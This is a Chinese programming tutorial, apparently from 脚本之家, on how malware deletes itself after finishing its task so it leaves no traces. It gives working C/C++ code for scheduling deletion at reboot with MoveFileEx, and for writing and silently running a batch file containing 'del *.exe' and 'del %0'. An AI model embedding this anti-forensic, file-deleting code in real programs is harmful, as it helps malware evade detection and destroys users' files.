C/C++惡意代碼盤點(diǎn)之文件自動(dòng)刪除
前言
惡意代碼的分類包括計(jì)算機(jī)病毒、蠕蟲、木馬、后門、Rootkit、流氓軟件、間諜軟件、廣告軟件、僵尸(bot) 、Exploit等等,有些技術(shù)經(jīng)常用到,有的也是必然用到。
上次咱們分享了一部分,那么今天我們就分享一下文件自動(dòng)刪除。
自刪除功能對(duì)病毒木馬來說同樣至關(guān)重要,它通常在完成目標(biāo)任務(wù)之后刪除自身,不留下任何蛛絲馬跡,自刪除的方法有很多種,常見的有利用MoveFileEx重啟刪除和利用批處理刪除兩種方式。
1、MoveFileEx重啟刪除
MOVEFILE_DELAY_UNTIL_REBOOT這個(gè)標(biāo)志只能由擁有管理員權(quán)限的程序或者擁有本地系統(tǒng)權(quán)限的程序使用,而且這個(gè)標(biāo)志不能MOVEFILE_COPY_ALLOWED一起使用,并且,刪除文件的路徑開頭需要加上“\?\"前綴。
源代碼實(shí)現(xiàn)
#include "stdafx.h" #include <Windows.h> BOOL RebootDelete(char *pszFileName) { // 重啟刪除文件 char szTemp[MAX_PATH] = "\\\\?\\"; ::lstrcat(szTemp, pszFileName); BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); return bRet; } int _tmain(int argc, _TCHAR* argv[]) { if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe")) { printf("Set Reboot Delete Error.\n"); } else { printf("Set Reboot Delete OK.\n"); } system("pause"); return 0; }
2、利用批處理命令刪除
del %0
批處理命令會(huì)將自身批處理文件刪除而且不放進(jìn)回收站。
具體流程
1 構(gòu)造自刪除批處理文件,該批處理文件的功能就是先利用choice或ping命令延遲一定的時(shí)間,之后才開始執(zhí)行刪除文件操作,最后執(zhí)行自刪除命令。
2 在程序中創(chuàng)建一個(gè)新進(jìn)程并調(diào)用批處理文件,程序在進(jìn)程創(chuàng)建成功后,立刻退出整個(gè)程序。
源代碼實(shí)現(xiàn)
#include "stdafx.h" #include <Windows.h> BOOL CreateChoiceBat(char *pszBatFileName) { int iTime = 5; char szBat[MAX_PATH] = { 0 }; // 構(gòu)造批處理內(nèi)容 /* @echo off choice /t 5 /d y /n >nul del *.exe del %0 */ ::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime); // 生成批處理文件 FILE *fp = NULL; fopen_s(&fp, pszBatFileName, "w+"); if (NULL == fp) { return FALSE; } fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp); fclose(fp); return TRUE; } BOOL CreatePingBat(char *pszBatFileName) { int iTime = 5; char szBat[MAX_PATH] = {0}; // 構(gòu)造批處理內(nèi)容 /* @echo off ping 127.0.0.1 -n 5 del *.exe del %0 */ ::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime); // 生成批處理文件 FILE *fp = NULL; fopen_s(&fp, pszBatFileName, "w+"); if (NULL == fp) { return FALSE; } fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp); fclose(fp); return TRUE; } BOOL DelSelf(int iType) { BOOL bRet = FALSE; char szCurrentDirectory[MAX_PATH] = {0}; char szBatFileName[MAX_PATH] = {0}; char szCmd[MAX_PATH] = {0}; // 獲取當(dāng)前程序所在目錄 ::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH); char *p = strrchr(szCurrentDirectory, '\\'); p[0] = '\0'; // 構(gòu)造批處理文件路徑 ::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory); // 構(gòu)造調(diào)用執(zhí)行批處理的 CMD 命令行 ::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName); // 創(chuàng)建自刪除的批處理文件 if (0 == iType) { // choice 方式 bRet = CreateChoiceBat(szBatFileName); } else if (1 == iType) { // ping 方式 bRet = CreatePingBat(szBatFileName); } // 創(chuàng)建新的進(jìn)程, 以隱藏控制臺(tái)的方式執(zhí)行批處理 if (bRet) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi; si.cb = sizeof(si); //指定wShowWindow成員有效 si.dwFlags = STARTF_USESHOWWINDOW; //此成員設(shè)為TRUE的話則顯示新建進(jìn)程的主窗口 si.wShowWindow = FALSE; BOOL bRet = CreateProcess( //不在此指定可執(zhí)行文件的文件名 NULL, //命令行參數(shù) szCmd, //默認(rèn)進(jìn)程安全性 NULL, //默認(rèn)進(jìn)程安全性 NULL, //指定當(dāng)前進(jìn)程內(nèi)句柄不可以被子進(jìn)程繼承 FALSE, //為新進(jìn)程創(chuàng)建一個(gè)新的控制臺(tái)窗口 CREATE_NEW_CONSOLE, //使用本進(jìn)程的環(huán)境變量 NULL, //使用本進(jìn)程的驅(qū)動(dòng)器和目錄 NULL, &si, &pi); if (bRet) { //不使用的句柄最好關(guān)掉 CloseHandle(pi.hThread); CloseHandle(pi.hProcess); // 結(jié)束進(jìn)程 exit(0); ::ExitProcess(NULL); } } return bRet; } int _tmain(int argc, _TCHAR* argv[]) { // 程序自刪除 BOOL bRet = DelSelf( 0 ); if (FALSE == bRet) { printf("Selft Delete Error!\n"); } else { printf("Selft Delete OK!\n"); } system("pause"); return 0;
到此這篇關(guān)于C/C++惡意代碼盤點(diǎn)之文件自動(dòng)刪除的文章就介紹到這了,更多相關(guān)C/C++文件自動(dòng)刪除內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Matlab實(shí)現(xiàn)同步子圖視角的方法詳解
這篇文章主要和大家分享三個(gè)可以Matlab中更簡(jiǎn)便實(shí)現(xiàn)同步子圖視角的技巧,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以學(xué)習(xí)一下2022-06-06C語言實(shí)現(xiàn)圖書管理系統(tǒng)開發(fā)
這篇文章主要為大家詳細(xì)介紹了C語言實(shí)現(xiàn)圖書管理系統(tǒng)開發(fā),文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2022-08-08C++實(shí)現(xiàn)LeetCode(133.克隆無向圖)
這篇文章主要介紹了C++實(shí)現(xiàn)LeetCode(133.克隆無向圖),本篇文章通過簡(jiǎn)要的案例,講解了該項(xiàng)技術(shù)的了解與使用,以下就是詳細(xì)內(nèi)容,需要的朋友可以參考下2021-07-07C語言實(shí)現(xiàn)常用字符串庫函數(shù)(推薦)
這篇文章主要介紹了C語言實(shí)現(xiàn)常用字符串庫函數(shù),本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2021-11-11C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例
這篇文章主要介紹了C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例,其中TCP的客戶端與服務(wù)器端采用多線程實(shí)現(xiàn),需要的朋友可以參考下2016-03-03